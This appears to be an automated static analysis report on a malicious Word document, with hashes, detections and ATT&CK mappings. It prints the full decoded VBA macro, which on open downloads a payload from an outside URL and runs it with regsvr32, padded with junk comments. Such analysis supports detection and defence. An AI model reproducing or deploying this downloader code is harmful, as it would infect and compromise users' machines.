Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8b9589e1a515f701…

MALICIOUS

Office (OOXML)

113.5 KB Created: 2020-07-07 09:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 98341eab8607f90087b100cd4863be58 SHA-1: 8b0b489829cd54470c62356a20910d77169c3f8e SHA-256: 8b9589e1a515f7019b28af81b00b799728917260d5ce35e1e3a6db57e26903fc
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening. The macro utilizes URLDownloadToFile to download a second-stage payload from 'http://50pm4.com/iz5/yaca.php?l=tze6.cab' and saves it as 'dn.tmp'. This indicates a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Herein spinal
    Call URLDownloadToFile(0, "http://50pm4.com/iz5/yaca.php?l=tze6.cab", JK, 0, 0)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    ' Wearing branches
    n9.run "regsvr32 " & JK
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const JK As String = "dn.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://50pm4.com/iz5/yaca.php?l=tze6.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2287 bytes
SHA-256: fbcb3be5cfa2fa0fafe37a765ae4ebf42e78309f8a1da5b513928dbccc9c05a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IQ"
Public Const JK As String = "dn.tmp"
Sub autoopen()

' Recite
' Ui distasteful batting falls alleviate
' Clock
' Accessibility
' Alignment atlantic pittance filing

' Fisher ego artwork
' Herein spinal
Call URLDownloadToFile(0, "http://50pm4.com/iz5/yaca.php?l=tze6.cab", JK, 0, 0)

' Respiratory slot
' Astringent tiberias contraction
' Award ok counsellor mileage
O
End Sub

Attribute VB_Name = "IQ1"
Sub O()

' Crude instance ghent cellular
' Telling fingers night recover
' Investments coy bum

' Cartwright pesos walter
' Bs moisture sunderland
' Continuously supernumerary
' Pray modeling sense questioner

' Deposit marathon amicably
' Jm odysseus sally speed
' Maize vessel connection misguided
' Toronto retarded unseemly liquids gory
' Philadelphia rice reporters goggles abeyance

' Footage eve
' Contagion safeguard
' Emoluments additional vestige sunderland gr
' Cereal influence analytical flounder
' Dogs

' Crucial esperanto shades rust registration
' Designation marshy memories
' Cooperative

' Willing stupid crease tr
' Prerequisite mattress
' Marker alumina mozilla

' Recipe fife
' Freckled gross
' Quagmire investor intersect

' Snowboard mount ya dylan antagonistic
' Placement overpower thunderstorm
' Superannuated hewlett round
' Flexible hooked customs
' Router self-defense hairy pro- janitor
' Threatened automotive rubber atrium
Dim n9 As New WshShell

' Halifax bodice
' Wearing branches
n9.run "regsvr32 " & JK
End Sub

Attribute VB_Name = "hj"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal yo As LongPtr, ByVal uK As String, ByVal e6 As String, ByVal oF As LongPtr, ByVal hY As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal yo As Long, ByVal uK As String, ByVal e6 As String, ByVal oF As Long, ByVal hY As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 2d0877d4086a7f46a5a063492cb8c8735ee6caafc772d9326b7a3ae64513e88a